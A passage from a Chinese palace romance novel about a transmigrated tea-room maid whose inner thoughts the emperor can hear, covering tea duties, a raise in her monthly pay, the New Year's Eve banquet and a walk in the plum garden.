温棉上前一步:“奴才请敬小主安,请乌小主安,万岁爷送两位小主一人一篓干桂圆,说是闽浙总督多尔济进上的。”
她按照皇帝说过的原话,一字不差、一字不加地说完。
一边说话,一边将桂圆举过头顶,悄悄看了眼座上的两位。
只见敬妃一张脸面无表情,乌贵人的脸倒是白了。
殿里的宫女立刻领了桂圆,敬妃和乌贵人一同向乾清宫方向行礼谢恩。
王来喜回到乾清宫后没多久,圣驾就回宫了,他觑着空,悄悄跟师父郭玉祥说了方才的事。
黄琉璃重檐下,郭玉祥怀疑地看向徒弟:“真的?她一点没润色,直接照原话告诉小主?”
王来喜轻轻跺脚:“真格的,当时小的一颗心直在腔子里乱跳,这位姑奶奶可好,说话一个字一个字往外蹦,直梆梆的,乌小主当时脸色就不好了。”
凡主子交代下来的差事,他们是不敢怠慢。
可回话怎么回得巧,怎么讨主子欢心,他们这些做奴才的,哪个不会?
哪有像温棉这样,就做个转述,一点好都不往自己身上揽。
要是他回话,必要先渲染一番万岁怎么看重小主,奴才又是怎么辛苦跑腿,这么一来,赏不就到手了?
想到赏钱,王来喜就嘻嘻笑了一下。
郭玉祥敲了下徒弟帽子:“你吃了猴儿蜜?”
说完,他又敲打道:“夹紧嘴,别往外说,好多着呢。”
他一甩塵尾,复又去伺候皇上了,一边走,一边心里想,万岁或许就是看中这姑娘耿直罢。
他开始想错了,还以为万岁……
万岁是明君,文武双全,怎会耽于儿女情长,是他想左了。
郭玉祥拍了下自个脑门,警告自己,日后可不能再这么异想天开了。
自鸣钟走到快十点时,皇帝传茶,可巧娟秀方才去库里取果子,茶房就温棉和几个小太监。
温棉忙端着茶盘进去,走到西二间,看见皇帝正在批奏折。
朱批行到一半,对郭玉祥道:“朕记得,台湾水师提督上月也递了一封折子,抄录的放在哪?你去找来。”
郭玉祥应是退下,西二间便只剩温棉和皇帝。
昭炎帝放下折子,接过茶喝了一口:“不错,紫芽就该用八分烫,才能激出茶的涩味,如此回甘才能绵长,你倒是上手得快。”
温棉脸上挂着恭敬的微笑,欠身道:“谢万岁夸奖。”
心说,嘴上夸夸有什么用,不如给点奖金实在。
听到这句心声的昭炎帝:……
他放下茶盏:“早上去办差,一路都顺利?”
温棉毕恭毕敬,将早上发生的所有事,事无巨细,一一道来。
昭炎帝听到她给敬妃说,“这些都是闽浙总督多尔济进上的”后,就说完了,一口茶差点喷出来。
宫里的人精再不会说话,也会在这后面加一句“是万岁特意赏给您的”,她可好,说完就完了。
昭炎帝在心里笑够了,又问道:“然后呢?”
温棉犹豫了一下,道:“然后……就没了,敬小主和乌小主收下了桂圆,两位小主谢了恩。”
她回想了下早上的场景,又补充道:“乌小主脸色有些白。”
想是和她一样,低血糖,猛跪猛起之下,容易头晕。
听到这句的皇帝,心里嗤笑一声,乌兰巴尔思氏哪里是因为什么低血糖,分明是知道他在敲打她们,没有敬妃稳得住,一时吓到了,脸上带出来了罢。
宫里娴淑二妃是满军旗的,敬妃和太后是蒙军旗。
因为满蒙联姻旧俗,宫里来自草原漠南的妃嫔数不胜数,他一直没有叫她们生下子嗣。
绣春囊事件让淑妃以为拿住了娴妃的短,两人撕咬起来,再带出些其他人、其他事,蒙军旗的妃子就有出头的机会。
他一手将此事按下去。
如今后宫最好保持原样,满蒙角力,互相牵制,汉军旗势微,三方太平,没有一家独大。
这样的后宫才是好后宫。
皇帝沉默不语,温棉以为皇帝是不满她的回话,仔细思索,知道自己忘了什么——妃子的反应!
皇上送出礼物,自然也希望妃子兴高采烈地收下。
她又补充道:“敬小主和乌小主很喜欢,走的时候还听小主的宫女说话,说要煮茶来吃。”
昭炎帝暗笑,恐怕煮的不是桂圆茶,而是舒脾理气的玫瑰茶。
他道:“你办差办得不错,待会去郭玉祥那儿领赏。”
传话时不添油加醋,回话时面面俱到,又心思单纯,看不透这其中关窍,也不多想,他正需要这样的人。
温棉听到有奖金,立马谢了恩,笑吟吟地退出去了。
皇帝看着她透出欢快劲儿的背影,不自觉地摇摇头,仿佛无奈似的。
温棉退出去后,只一息的功夫,郭玉祥就像是才找到皇上要的折子,虾腰走了进来。
皇帝看了看两封折子,都是一样的内容,提笔写道:朕知晓了,因西番莲为一次未见之物,原想看看,看来甚是无用之物,毋庸再送。*
午饭时间快到了,温棉今早没吃饭就往外跑,回来后只吃了几个饽饽,肚子早就饿了。
她便去膳房提膳,在膳房碰到了许久未见的小邓子。
看见小邓子,温棉眼睛一亮,趁着膳还没备齐,拉着小邓子躲到膳房背后说话,问他和荣儿可还好?
小邓子道:“我
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好,荣儿姐姐也好,我们都惦记姐姐呢。”
说着,他左右看看,从怀里掏出个纸包塞到温棉手里。
“我干爹调到寿膳房了,今儿领了好些玫瑰,皇庄上才送来的,冬季里的鲜玫瑰可是稀罕物,干爹就做了几盘玫瑰饼,我给姐姐留了几块,姐姐别嫌腌臜。”
温棉感动得眼泪汪汪,当着小邓子的面,直接一口咬下。
玫瑰饼还是热的,显是才出炉没多久,圆圆的饼上戳一个红点,很是喜庆。
饼皮是一层油皮、一层油酥叠上去的,层层薄得透光,雪白晶莹。
紫红的馅裹着糖,一口下去,满嘴玫瑰甜香。
小邓子见她吃了,很是高兴:“姐姐要是喜欢,我日后来看姐姐时,还给姐姐拿。”
温棉连忙制止他:“可别,因为是你带的,我才喜欢,你就是带个冷窝头来,也是你的心意,我也高兴吃。
可要是为这个再去问你干爹要,你免不了一顿排头吃,我吃着也不开心。”
她看手里还剩一块玫瑰饼,连忙塞到小邓子嘴里,这孩子老实,恐怕拿了饼就直接来膳房等着,就为送给她,自己一口都没吃。
小邓子红了脸,害羞地挠挠头。
他家乡遭饥荒,爹娘都饿死了,是姐姐用血喂他,他才活了下来,后来姐姐也死了,他入宫当了太监,温棉救了他的命,又悄悄帮过他好几次,他便把温棉当亲姐姐看。
小邓子关心道:“姐姐近来可好?万岁爷身边的首领太监、掌事姑姑可好说话?”
温棉使劲点头:“我一切都好,你和荣儿都不要担心。”
今日的午饭还是锅子,温棉便提着食盒,和同来膳房提膳的另一个宫女,一起回去了。
趁着御膳的铺张还没铺开,她得和娟秀赶紧吃完饭,预备皇帝午膳后的茶水。
温棉用锅子里的汤泡饭,就着烫菜,吃了两碗饭,才要去舀第三碗,就被那姑姑敲了脑袋。
宫里侍候的,无论太监还是宫女,都不许吃饱,怕吃太饱了出虚恭。
温棉抱着碗,欲哭无泪,她现在可在天底下最不缺粮食的地方,谁能想到,在这里她竟然连一顿饱饭都没吃过。
下午当差时,郭玉祥来到茶房,给温棉送皇上的赏,笑眯眯地夸了她一句“差事办得不错”,而后就走了。
温棉数着荷包里的银子,也满脸带笑,这里面可有五两之多,是她两月的月钱。
只跑了一次腿,就能拿到这么多钱,难怪宫里人都想在主子身边伺候。
上面的人手松一点,说不定等放出宫时,都能怀揣一笔巨款。
温棉记得,自己这里的阿玛额涅早死了,家里就一个哥哥,长久不联系,也不知道出宫后,这个便宜哥哥会照顾她不会。
什么时候都不能把希望完全寄托在别人身上。
温棉决定好好工作,争取出宫前,挣下买房子的钱。
想想自己以后能在北京有一套房子,实现前世很多人都无法实现的梦想,多让人有奔头。
宫里这漫长日子,她也觉得有希望了。
9. 百香果茶
郭玉祥看温棉这几天都笑吟吟的,有心想提点她几句,万岁爷放了赏,做奴才的怎么能不想着更尽心侍候?
他这么说了,温棉就将这话理解成:充分发挥主观能动性,结合本职工作,创造出让皇帝更满意的茶水。
她去库房领果子时,就特意关注了一下有无新鲜果子。
然后就在角落发现了一堆拳头大小、紫红色的果子,这不是百香果吗?
管库房的小太监道:“这是台湾水师提督进上的土产,叫西番莲。”
温棉领了贡橘、山楂、苹果等物,还领了些百香果。
先烧水,泡好一壶茉莉花茶,温棉取了一块白纱巾,将百香果剖开,用白沙巾滤出汁子来,兑到茉莉茶中,加上糖,再舀一勺木薯粉做的珍珠。
一杯颇具宫廷风格的百香果双响炮就做好了。
那姑姑和秋兰腿好了后,今日回到茶房上事儿,看见一堆西番莲的壳,那姑姑蹙眉:“小棉子,你怎么领了西番莲来?上月万岁见了西番莲,只尝了一口就不吃了。”
温棉拍皇帝龙屁的心,一下子凉了大半。
拍老板马屁一个没拍好,都有可能会被穿小鞋,何况是拍皇帝的龙屁呢。
她对着一壶百香果茶,想来想去,还是决定不送上去了。
昭炎帝放下一本折子,端起茶来,只觉得鼻尖萦绕着一股香味,却不是茶的味道。
他问郭玉祥:“御茶房领了什么新茶叶,或是新果子了?”
郭玉祥连忙道:“温棉向库房领了西番莲,说要想法子用这果子做茶水,给万岁爷尝尝鲜。”
昭炎帝了然,难怪觉得这香味有些熟悉,西番莲的味道不就是这么香么。
郭玉祥见万岁脸上没有不虞之色,于是悄悄出去,在茶房找到温棉。
“姑奶奶哟,我听说您做了个新茶,想孝敬万岁?怎么不进上去?”
温棉冲郭玉祥福了福身,为难道:“郭谙达,我听说万岁上次吃西番莲,只吃了一口,许是不喜欢,这不是怕……”
郭玉祥不赞同道:“万岁爷的喜恶岂是我们这些奴才能猜测的?做奴才机灵固然好,可万岁更看重忠心与否!得了,万岁爷的茶快凉了,你端上热茶送进来。”
被郭玉祥这么一说,温棉只好端着一壶百香果茶进去了。
一进到西二间,温棉就满脸堆笑:“禀万岁爷,御茶房领了西番莲,新做了茶水,万岁爷若是赏脸,尝个新鲜,就是我们所有人的福气了。”
她盼望皇帝就是不喜欢,可看在她劳心劳力的份上,不喜欢也别怪罪她。
昭炎帝忙了一上午,从案牍中抬头,看见一张喜气洋洋的脸,他心头便是一松。
很给面子的接过茶,喝了一口。
郭玉祥觑了一眼,心底纳罕道:万岁之前不还说不爱西番莲那个味吗?这就变了?
温棉小心翼翼揣摩圣意,生怕他一个不虞就要治她的罪。
昭炎帝只略抬眸,就能看见一双黑白分明的眼睛,兔子似的,好像她前面站着一只老虎。
他掩住嘴角笑意:“不错。”
倒是学会了奉承人,也不知是跟谁学的。
他心里正这么想,就听见了温棉的心声:可不能让皇帝知道,这是因为自个想尝百香果,才打着做新鲜茶水的名义,一连做了几杯,喝了好多之后,才给他送来。
昭炎帝:……敢情他这是喝剩下的。
他放下茶盏,慢悠悠道:“你于茶水上手倒是快,可见是个伶俐的。”
温棉连忙做出谦虚状:“不敢当万岁夸奖。”
低眉顺眼地弯下腰,看似很是谦卑,实则她在心里叉腰——可不是嘛。
那姑姑说的窍门儿,她一条条,全部用纸笔记下,得闲就多看多观摩,上手能不快吗?
「我就是最棒的!」
温棉在心里大喊。
昭炎帝看她外表一片恭顺,内心却又喊又叫,差点要笑出声来,他轻咳:“既如此,你日后就时常敬茶罢。”
温棉有些茫然,自个儿现在就在御茶房,也时常敬茶呀。
郭玉祥见状,连忙提醒:“咱家恭喜温姑娘,您这是得了万岁青眼,日后能天天侍候万岁,可不是天大的福气来了!”
温棉愣住了。
御茶房是轮班制,两人一天班,如果她以后天天都当值,这不就意味着她要比别人多干一倍的活儿?
昭炎帝手指轻敲桌子:“怎么,你不乐意?”
这话问的,温棉心中腹诽,她敢不乐意吗?
温棉连忙跪下:“能日日侍奉万岁爷左右,是奴才的福气,只是……”
见她说话说一半,郭玉祥的心瞬间提了起来。
万岁爷最不喜别人说话说一半,要是做奴才的这么说,被提出去,拉到滴水下打板子都是轻的。
他这边为温棉捏一把汗,却没料到皇帝的反应不如他所想。
昭炎帝饶有兴致问道:“只是什么?”
郭玉祥松了一口气,看来今儿陛下心情不错。
温棉道:“奴才比旁人多干了活,也该比旁人多拿月钱啊。”
昭炎帝终于憋不住,笑出声来,他方才在她心里听到好长一段算盘声。
这妮子给自己定了五两银子的月例,什么加班费、精神损失费、睡眠不足费,乱七八糟的,全都算进去了,还在心里唱小调,我爱钱钱爱我,钱从四面八方来。
贪财贪得这么明明白白,他这辈子第一次见。
郭玉祥诧异地看了眼主子,他家主子一向喜怒不形于色,今儿这是怎么了。
昭炎帝笑够了,道:“好啊,你若是尽心,朕自然提你月例,可若是不尽心,这月例,也该扣。”
一听到会涨工资,温棉笑得跟朵花似的:“您瞧好吧。”
只要钱到位,她就是死了,也要把骨灰和着漆,刷到外头柱子上,让自己的灵魂继续在这里发光发热。
啧……昭炎帝瞥她,这丫头嘴上没个把门的,什么话都敢想,也不怕忌讳。
温棉端着茶盘往外走时,还在心里默默算数。
一年挣五十多两,等她二十五岁放出去,加上宫里大人物们的打赏,至少能挣五百两。
也不知道京城的房价是多少,她先立一
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个小目标,日后在首都买一套房。
听到她这句心声的昭炎帝,不禁也好奇起来:“郭玉祥,朕记得你在后海买了一套宅子?”
郭玉祥吓得膝盖都软了,栽烛般跪下去。
昭炎帝笑道:“行了,朕又不是要治你罪,你那宅子多少钱买的?”
郭玉祥发了一身冷汗,战战兢兢道:“一……一千……”
昭炎帝看了他一眼:“一千?怎么,你在后海只买了一半宅子?”
郭玉祥连连扣头,口道:“奴才有罪,求万岁恕罪。”
昭炎帝也不叫停,半晌方道:“行了,你做了十来年首领太监,要是这点钱都没有,朕才要疑你,只你这杀才,竟敢在朕面前扯谎,自己去领二十板。”
郭玉祥连忙谢恩,等出去后,浑身都湿透了,用帕子擦了把脖颈,心道真是无妄之灾,万岁怎么就想起问这一茬了?
乾清宫首领太监被罚,让本就严谨的乾清宫人,愈发规行矩步,勤恳当差。
后宫里听到这个消息,旁人尚可,太后拉着三丹姑,怅惘道:“他这是眼黑我,做给我看呢。”
三丹姑宽慰道:“您老人家这说的什么话?万岁爷最是仁孝,这不,四姑娘近几日天天递了膳牌子来看您,万岁也没拦着不是?”
太后摇头:“不就是拨几个人去伺候他?他打郭玉祥,是在给哀家提醒,乾清宫往后,是水泼不进,让我别白费心思了。”
铜胎鹤鹿同春珐琅彩的香炉里,袅袅白烟漂出,老太后在浓郁的香中,愈发显出老态来。
第二日,还是凌晨三点,温棉早早候在乾清宫庑房里。
那姑姑发现,温棉当差真是当得自在,先备好滚水茶叶,然后就往茶炉跟前一坐,只要主子不传话,她能一直坐下去。
那姑姑用脚尖踢踢她,示意她起来,小声道:“主子爷每每起床后,是他一天里最不高兴的时候,乾清宫上上下下,谁不把弦儿绷紧,你也坐得住?屁股就这么沉?”
温棉诧异道:“皇上有起床气?”
她没看出来啊,但转念一想,前几日她早上进去敬茶,皇上就拿着茶盏不还她,这是在作弄她出气?
今儿还是老时候,昭炎帝由梳头太监通头,那姑姑和温棉端着参茶、清水进去了。
昭炎帝看了温棉一眼,清楚地听到:皇上可真幼稚。
昭炎帝愣了半晌,皇父继承了皇玛法的遗志,势必要造前朝的反,马背上打天下,对儿子们就像狼王对狼崽,觉得能厮杀出来的,才是好崽子。
他八岁时就进军营学杀人了,十岁就跟皇父一起上战场,那些年他杀过敌军,也杀过朝夕相处、最后却背叛的叛徒。
皇父驾崩后,他咬牙攻进京城,登上皇位,至今掌了十年的江山。
亲生兄弟们在他面前都不敢玩笑,这还是第一次,听见人说他幼稚。
他又看了眼温棉的眼睛,这回听到她说:「皇上长得还挺好看,就是难伺候了些。」
昭炎帝抿起嘴,慢慢端着清水茶盏,踅身转出到明间。
温棉心中哀叹,果不其然,皇帝就是在拿她出气。
10. 燕窝八宝鸭子粥
雪一连下了两场,将皇城盖上一层白被子,喝过腊八粥,没几天就是年。
年根底下,小太监们骑在梯子上,往各处门楣下贴常新纸。
大红的纸上剪出花纹,正中剪出诸如“延年益寿”、“福禄寿喜”、“吉祥如意”等吉利话。
民间也叫挂钱、门旗的。
贴好的常新纸红彤彤的连成一片,映的雪地里都粉红一片。
宫里上下一派喜气洋洋,各处都忙着掸尘、安灯、挂春条、祭灶。
忙得脚打后脑勺,面对面见了,还要笑着请个安。
只乾清宫气氛不太好。
温棉去上茶时,皇上刚召见完太医,眉宇一片忧色。
冬日天光也冷,透过明纸照进来,衬得皇帝的面庞更冷几分。
郭玉祥接过温棉托盘上的茶盏,道:“主子爷且宽心,太后娘娘只是偶感风寒,过不了几日,定会好的。”
昭炎帝只慢慢吃茶,并不接话,见温棉正要退下去,他叫住她:“温棉,你是汉军旗包衣?”
温棉点头应是。
昭炎帝问道:“汉人过年,都是怎么过的?”
温棉心道,方才不还在担心太后凤体是否安康,现在就在问汉人如何过年,怎么话题转变的这么快?
说实话,她想不起来在这里时温家是怎么过年,只记得温棉小小年纪就进了宫,从此被打骂欺辱就成了常事儿。
可若说自己前世是怎么过年,温棉记忆犹新。
她垂下眼睛,声音平缓。
“一到过年,家里所有亲戚都会聚在一起,我……奴才阿玛和叔父还会下厨做饭,奴才兄弟姐妹们,围着桌子一起包饺子,一边包一边说笑。”
郭玉祥吃了一惊,慢说他,昭炎帝都吃了一惊:“你阿玛还会下厨做饭?”
想到家人,温棉微微一笑。
“是,叔父的手艺最好,阿玛就洗菜、摘菜,额涅和婶婶擀饺子皮。
奶奶,就是郭罗妈妈,也在厨房炒菜,奴才和兄弟姐妹们要是包饺子包累了,就跑到厨房去,围着郭罗妈妈。
郭罗妈妈一边骂我们嘴馋,一边扯个鸡腿,或者舀一勺油炸花生米,喂给我们吃。
吃完饭,还要放烟花炮仗,有年哥哥放了一个炮,炸到茅坑里了,被叔父提溜起来好一顿揍。
哥哥说‘人家大过年都不兴打孩子’,叔父就说‘咱爷俩今日断绝父子关系,你不做我儿子了,我打你自然不算打孩子’。
叔父打哥哥,郭罗妈妈就打叔父,在院子里跑成一团。”
昭炎帝有些听住了,她的话语好像飘到空中,变成一副画卷徐徐展开,画中是一个贫苦,但和睦可乐的家庭。
吵吵闹闹,忙忙碌碌,热气腾腾的白烟围绕着家人。
万家灯火里,有她家的一盏。
他想听听温棉现在的心声,可她一直垂着眼皮,他看不见她的眼睛,只能作罢。
一想到晚上大宴又要佛爷似的坐两三个时辰,听一耳朵熙熙攘攘的声音,他便不由的烦躁。
温棉见皇帝已然问完了话,擎等着他叫去,上头不发话,她自己倒不好走。
等回到茶房,想必桃仁、砂仁、果子早就烘香了,还有糖瓜。
祭灶那日小邓子托他干爹的福,拿了一兜子糖瓜,甜得糊嘴。
果仁糖瓜嚼它一嘴,满口香甜。
昭炎帝这回听见她的心声了,微微一哂。
倒底年纪还小,还是个孩子呢,只知道憨吃憨玩。
如若三十晚宴把她带上,嘈杂虚伪之中听听她的声音,必定好玩。
这么想着,他也便开口了:“三十便由你随侍罢。”
郭玉祥一听,嗳哟一声:“姑娘好大福气,还不快谢恩?”
宫里能随侍主子,尤其能在大宴上随侍主子的,无不是得脸有体面的大丫头。
这丫头才来乾清宫不到三月,竟不知哪里来的这段大福,能跟在万岁爷身后伺候了。
见她呆愣愣的样子,定是欢喜傻了吧。
欢喜?
昭炎帝听到郭玉祥的心声后,在心里冷哼。
什么欢喜什么谢恩?
这妮子在心里骂他呢!
「什么鬼?为什么要我去加班?大过年的不得闲,得站岗了,一站站两三个时辰……
唉,我可怜的腿啊,自从跟了我,你就没过过好日子啊……」
“咳……”
昭炎帝轻嗽了一下,方才压下翘起的嘴角。
他没选错人,大年三十这丫头必须随侍。
/
乾清宫丹陛上早就支起了万寿灯。
几丈高的灯杆立在汉白玉石座中,上垂挂着灯联。
八面巨大的绣画联幅从灯杆顶部垂泻而下,上面绣着“万国咸宁”、“太平有象”、“五谷丰登”等吉祥文字。
顶端灯楼是一个八角亭子似的模样,上饰云冠与金龙。
万寿灯自腊月二十四竖好后,每晚都要点亮数个时辰。
在三十这日更是要亮一夜,直至元旦天明,寓意“光照万年,守岁迎福”。
再加上紫禁城其他各处宫灯、花灯、廊檐灯,整个除夕夜,皇城亮如白昼。
昭炎帝先是在乾清宫和宗亲王爷等人用完年夜饭,然后前往慈宁宫。
太后、宫妃、宗亲家眷都在慈宁宫呢。
年轻的王妃们见了皇帝,忙起身避让,太后拦住了,道:“都是一家人,何必见外,你们坐。”
皇帝坐到太后身边,先是恭敬地敬了太后三杯酒。
太后笑得和煦,一一喝了。
温棉站桩似的站在昭炎帝身后,眼睛余光瞥过桌上。
皇帝面前是一张金龙大宴桌,上面摆了九路各色吃食,零零杂杂共计一百单九样。
糟笋脍鸭子、莲子八宝鸭、玉兰片狍肉、蘑菇炖鸡……
管是天上飞的水里游的,全都齐聚在这桌上了。
皇帝方才是在乾清宫吃过才来的,就是有个弥勒佛肚子,如今哪里还吃得下?
可宫里排场却不能少,罪过可惜四字倒顾不得了。
温棉环顾四周,心道什么山珍海味都有了,怎么不见饺子?
过年没有饺子,那还叫过年么?
昭炎帝见这丫头看了一圈珍馐,心里最惦记的却是煮饽饽,心说一个煮饽饽,值当这么惦念?
“张,把这个粥给你们主子送去。”
太后叫自己跟前的太监张玉顺,转头对皇帝道:“皇帝年轻,也要爱惜身子,方才在乾清宫和宗亲们没少喝吧?这燕窝最是滋补的,你喝一碗。”
侍膳太监们上前接过张玉顺手里的白瓷盖盅,一丝不苟地验毒,过了一会,这粥才来到皇帝面前。
因为用足了火腿、鸭油和高汤,粥底金黄油亮,琥珀似的油润光泽。
洁白晶莹的燕窝丝、深红的火腿粒、褐色的香菇丁、嫩黄的笋尖、翠绿的青豆……
五颜六色聚在一起,看着就叫人喜欢。
昭炎帝舀了一勺,慢慢吃了。
从前他和汗阿玛打天下时,额涅就总做粥给他们吃。
这粥难得勾起了他一点温情的回忆。
太后见皇帝面色渐舒,笑道:“不赖吧?这燕窝是宝禄送来的,难为他还记挂着我。”
宝禄是闽浙总督多尔济的儿子,太后的侄子。
昭炎帝只慢慢喝粥,并不搭话,耳朵竖起来,听温棉在想什么。
「燕窝,燕子嘴里吐出来的口水,真不知道有什么好吃的……」
昭炎帝登时一愣。
舀着粥的手一僵。
这丫头真是山猪吃不了细糠。
光想着饽饽吃,岂不知燕窝比饽饽要名贵百倍千倍?
太后见皇帝像是没听见她说什么似的,自然而然地转了话题。
“皇帝一年劳碌,敬妃,你们很该给你们主子敬一杯。”
敬妃忙站起来,然后便是几个潜邸便在的老人站起来,几人一起恭贺除岁。
皇帝饮了她们的酒,又与太后敬了酒。
宫妃们敬完酒坐下,吃完一杯酒,宴上氛围也松快热闹了些。
逢过年的好时节,淑妃的禁足解了,娴妃也没有计较之前淑妃那般为难她的事。
两人相对而坐,笑盈盈的,看着跟亲姐俩似的。
敬妃坐在一旁,先笑了一下:“才我和娴妹妹说起,说今晚大宴,你最喜欢热闹,必来的。娴妹妹还说你禁足在宫里,怕是正不自在呢,等宴散了咱们再去瞧你。我说阖家团圆的好日子,万岁必定慈悲,放你出来,咱们姐妹也好说说话。”
淑妃笑道:“难为娴姐姐还记挂着我。”
娴妃轻轻一笑:“长远不见妹妹,妹妹清减了,到底是万岁爷记挂着妹妹。”
淑妃脸一僵,她禁足才解,旗袍来不及做新的,穿的都是旧年的旗袍改的,宽宽大大不合身。
再者,万岁是个冷情冷心的人,连先皇后故去都没流一滴泪,大儿子夭折也不过一句“知道了”。
皇帝管理宫里的女人和管理军营的丘八一样,哪里还会记挂她?
娴妃这话不是成心寒碜她么?
到底是宫里的女人,肚里打仗的一把好手,淑妃心里几乎要把银牙咬碎,面上却笑得如沐春风。
“娴姐姐,之前都是我年轻不懂事,听风就
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是雨,倒委屈了姐姐,如今姐姐管理宫务,定比我强上百倍。主子爷,奴才实在愧对娴姐姐,主子还是再罚奴才一遭吧。”
昭炎帝道:“成,你再去抄一遍宫规。”
淑妃的脸一下子白了。
娴妃还没乐出声,便听上头皇帝道:“娴妃、敬妃,你二人也同抄一遍。”
听皇帝的话音,倒像是有火气,三妃栽烛般跪下去,大宴霎时静了。
韶乐自乾清宫那边传来,慈宁宫火炉里的银霜炭“毕剥”的响。
太后温厚的声音恰如其分地响起:“她们虽蠢笨,到底是伺候了你多年的老人,你要是嫌她们不好,等开春选秀,选几个好的进来,皇帝三年前免了选秀,这次再免,可就不合规矩了。”
说着,示意敬娴淑三妃起来。
昭炎帝目光掠过席间屏息的宫妃,淡淡道:“选吧,正好宗亲里未成婚的子弟多,一气儿给他们指了福晋才好。不过很不必往宫里送,朕身边不缺奴才。”
太后一窒,皇帝这意思是,又不往宫里选人?
“我看你今夜总是不受用,谁惹你不高兴了?”
昭炎帝执壶亲自为太后添了热奶/子:“儿子连累额涅操心,还请额涅恕罪,年前两淮盐税被盗,至今还没逮到贼人,今早军机处收到督办的折子,言说恐与前朝余孽有关,儿子心里实在放不下,现下身虽在这里,心却想着军机处,倒扫了额涅的兴致。”
太后道:“原是如此,那皇帝快去罢。”
昭炎帝单膝跪下行了一礼,告罪一声,方转身离去。
温棉腹诽道:什么政事,就是不耐烦和娘老婆说话,才借口工作忙,几千年了,男人的理由就没有进化过吗?
昭炎帝差点被气到,心道她懂什么?
他要是再不找借口走,太后就要他当即表态把她家的侄女纳进宫了。
看着皇帝离开的背影,慈宁宫顿时被一股失落笼罩。
难得见一回皇帝,这才多久,就走了。
皇帝这些年是越来越少翻牌子了,好像登上皇位后,便成了圣佛,一下子没了七情六欲似的。
既不进后宫,也不找乐子。
要不是皇帝积威甚重,前朝请皇帝保养身子的奏折能淹了乾清宫。
太后也担心这个,可招来皇帝近侍问吧,皇帝身边的人嘴紧得跟葫芦似的,半点问不出来。
问太医,太医说皇帝龙精虎猛,阳气过甚,没有半点问题。
且看皇帝龙行虎步、肩宽背阔,打起布库来拳拳生风,也不像有隐疾的样子。
可既没有问题,做什么十天半个月不进后宫,让他选秀也不选?
他这不选秀,家里想捧人都不知道怎么捧。
眼看敬妃没能生下阿哥,若是……
太后笑着和内眷们说话,心却在想旁的事。
/
昭炎帝并未折返乾清宫,两淮盐税盗案的主犯早已锁拿归案,此刻殿内宗亲们酒兴正酣,他实在不耐那觥筹交错。
他脚步一转,往西二长街上去了。
温棉跟着皇帝后面,唰得一下被冷风扑了一脸,拱肩缩背的,心中把皇帝骂了千万遍。
好好的暖和地方不待,非要出去找罪受,踩着冰滑上一跤就好了。
郭玉祥躬成虾米,小步紧随着。
见皇帝脚步一转,是往御花园的方向,忙急声道:“主子爷,这天寒地冻黑灯瞎火的,若龙体有个什么,就是把奴才杀十次头也不够赎罪的,奴才这就传御辇来,劳您多等一会子。”
“啰唣什么。”
昭炎帝信步而行,四开叉海水江崖纹随着脚步迈动,在灯光下波光粼粼。
郭玉祥急得喉头发紧:“这么冷的天,主子爷好歹穿件厚衣裳再去。”
昭炎帝头也不回,声音混着呵出的白气:“热烘烘的,穿什么。”
他是马背上挣杀出的帝王,筋骨强健,素来畏热耐寒。
再说了,他身上穿着石青缂丝天马皮团龙袍,脚上是漳绒串珠云头靴,再穿一件大毛衣裳,看上去跟熊似的。
郭玉祥却不敢真让皇帝这般走入寒风,怀里紧搂着一件明黄江绸黑狐皮端罩,追上去不是,不追更不是。
正两下为难间,一直静默随行的温棉适时伸出手。
“谙达不如交给我吧,我替万岁捧衣。”
郭玉祥如蒙大赦,忙将沉甸甸的大毛衣裳递过,追到皇帝跟前,试图再劝说几句,却被皇帝一眼神吓到,不敢多言了。
这狐皮毛锋出得好,根根分明,丰厚的皮毛尚存着殿内的暖意。
温棉见左右无人看她,将这件厚衣裳有意得抬高一点,刚好能挡住风。
11. 如意印子饽饽
昭炎帝眼角余光看到温棉的动作,微一哂。
他没说什么,信步走上鹅卵石子路。
积雪虽被小太监扫走了,但鹅卵石却是滑的。
郭玉祥在一旁心提到了嗓子眼儿。
御花园现下一个人也没有,但并不黑洞洞的,各色花灯与月光照在雪上,映照的灯火通明恍若白昼
昭炎帝步伐稳健,穿过月洞门,迎面一片香雪海。
此处种了数十株老梅,正值寒冬料峭,红梅盛放。
疏影横斜的枝干映衬着后方宫殿的琉璃黄瓦,冷香浮动的花云在雪光与灯辉中,恍若一片凝结的绯色轻霞。
他负手立在梅林中。
四周宫人皆垂首躬身,视线里只有一片沉默的脊背。
寒风掠过梅枝,拂落细雪,带来沁人心脾的幽冷梅香,耳边终得一片难得的清净。
“嗳,你过来。”昭炎帝突然出声。
郭玉祥只看见皇帝的背影,略一思索就知道皇帝在叫谁。
他转头,却看见温棉这死丫头跟冻僵了似的,一动不动。
任他使眼色眼睛翻得要抽筋,这丫头居然略偏一偏头,就直不愣腾地看着他。
郭玉祥悄悄踹了她一脚。
“嗳……哎,奴才来了。”
温棉被大总管莫名其妙地踢了一脚,下意识要叫“嗳哟”,紧接着她反应上来了。
郭玉祥就是把她当碎催欺负,可也不会当着皇帝的面。
想是皇帝有什么吩咐。
果然,皇帝见是她出口应承,并不不满。
他道:“你再说说,你家过年是个什么情形?”
温棉心想,「皇帝这是在大宴上受刺激,要在她这找普通人家的红尘温暖了?」
可是大宴很安详和乐啊。
温棉细想了想宴上的情形儿,没觉着有什么不对。
就只有皇帝突然不知道哪根筋搭错了,不阴不阳地发了通邪火。
也幸好皇帝现在没看她眼睛,没听见她心里想什么,不然这会子肯定就叫人把她拖下去了。
温棉清了清嗓子。
既然人家让说,就说吧,她改了改词,从包饺子、跳柏垛、看大戏、点挂鞭一直讲到大年初二回娘家。
大年初二,媳妇子大包大裹的,带着男人抱着小孩,喜气洋洋回娘家。
一到娘家,见着爹妈,就从运筹帷幄的大人变回小孩儿了。
一人拿一把瓜子,盘腿坐在炕上和姊妹们扯闲篇。
孩子撒到地上,滴滴答答一溜表姊妹们,大的带着小的玩。
男人们这时就不自在了,在村头站站,和老丈人客客气气说几句话儿,跟着小孩后面。
媳妇在自家时他是家里主人,一回到娘家,他和媳妇颠倒过来,他变成客人了。
“……说到这个,我妈说,我爸当年头一次跟她回家见老丈人和丈母娘,干啥都要和她一起,连她上茅房都要跟着……”
温棉突然打住了。
说什么不好,偏说屎尿屁,这是能在皇帝面前说的吗?
惹皇帝犯恶心了,一个不好就要治罪。
“奴才失言,请万岁恕罪。”
昭炎帝一边听一边散步,不知不觉就走出雪地梅林,走到御花园北端夹道上。
他正听得高兴,心说温棉这阿玛怵场,不是个精明能干的,怎么生出温棉这样胆大包天的?
突然听到温棉请罪,他摆摆手,道无妨。
蓦地想起她方才说的话,眉头微微蹙起。
